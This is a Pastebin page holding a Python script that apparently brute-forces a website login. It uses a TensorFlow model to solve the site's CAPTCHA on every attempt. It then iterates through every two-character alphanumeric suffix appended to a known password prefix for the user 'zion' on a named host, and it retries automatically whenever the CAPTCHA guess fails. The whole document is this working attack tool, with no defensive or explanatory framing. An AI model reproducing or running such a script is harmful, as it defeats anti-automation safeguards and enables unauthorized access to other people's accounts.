Advertisement
Guest User

Untitled

a guest
Jul 30th, 2017
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.35 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import logging
  4. import requests
  5. import tensorflow as tf
  6. from string import ascii_letters, digits
  7.  
  8.  
  9. class CaptchaBreaker(object):
  10. BAD_PASSWORD = 'Wrong password'
  11. BAD_CAPTCHA = 'Incorrect captcha'
  12.  
  13. def __init__(self, model_dir, host, username, known_partial_password):
  14. self.model_dir = model_dir
  15. self.host = host
  16. self.username = username
  17. self.known_partial_password = known_partial_password
  18. self.captcha_url = host + '/captcha.png'
  19. self.login_url = host + '/login'
  20.  
  21. self.sess = tf.Session(graph=tf.Graph())
  22. tf.saved_model.loader.load(self.sess, ['serve'], self.model_dir)
  23.  
  24. def log_in(self, password_suffix):
  25. session = requests.Session()
  26. captcha_image = session.get(self.captcha_url).content
  27.  
  28. captcha_text = self.sess.run(
  29. 'CAPTCHA/prediction:0',
  30. feed_dict={'CAPTCHA/input_image_as_bytes:0': captcha_image}
  31. )
  32.  
  33. password_attempt = self.known_partial_password + str(password_suffix)
  34. login_attempt = session.post(
  35. self.login_url,
  36. data={'username': self.username, 'password': password_attempt, 'captcha': captcha_text})
  37. response = login_attempt.text
  38. err = self.parse_response(response, captcha_text, password_attempt)
  39. if err is self.BAD_CAPTCHA:
  40. self.log_in(password_suffix)
  41.  
  42. def parse_response(self, response, captcha_text, password_attempt):
  43. if self.BAD_CAPTCHA in response:
  44. logging.info(' ' + self.BAD_CAPTCHA + ': ' + captcha_text)
  45. return self.BAD_CAPTCHA
  46. elif self.BAD_PASSWORD in response:
  47. logging.info(' ' + self.BAD_PASSWORD + ': ' + password_attempt)
  48. else:
  49. logging.warning('Something happened for password: ' + password_attempt + ' response is: ' + response)
  50.  
  51.  
  52. def main():
  53. captcha_breaker = CaptchaBreaker('./tensorflow-savedmodel-captcha/',
  54. 'https://i.cyberez.company',
  55. 'zion',
  56. '2017-07-28-')
  57. for x in ascii_letters + digits:
  58. for y in ascii_letters + digits:
  59. captcha_breaker.log_in(x+y)
  60.  
  61.  
  62. if __name__ == '__main__':
  63. logging.basicConfig(filename='run.log', level=logging.INFO)
  64. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement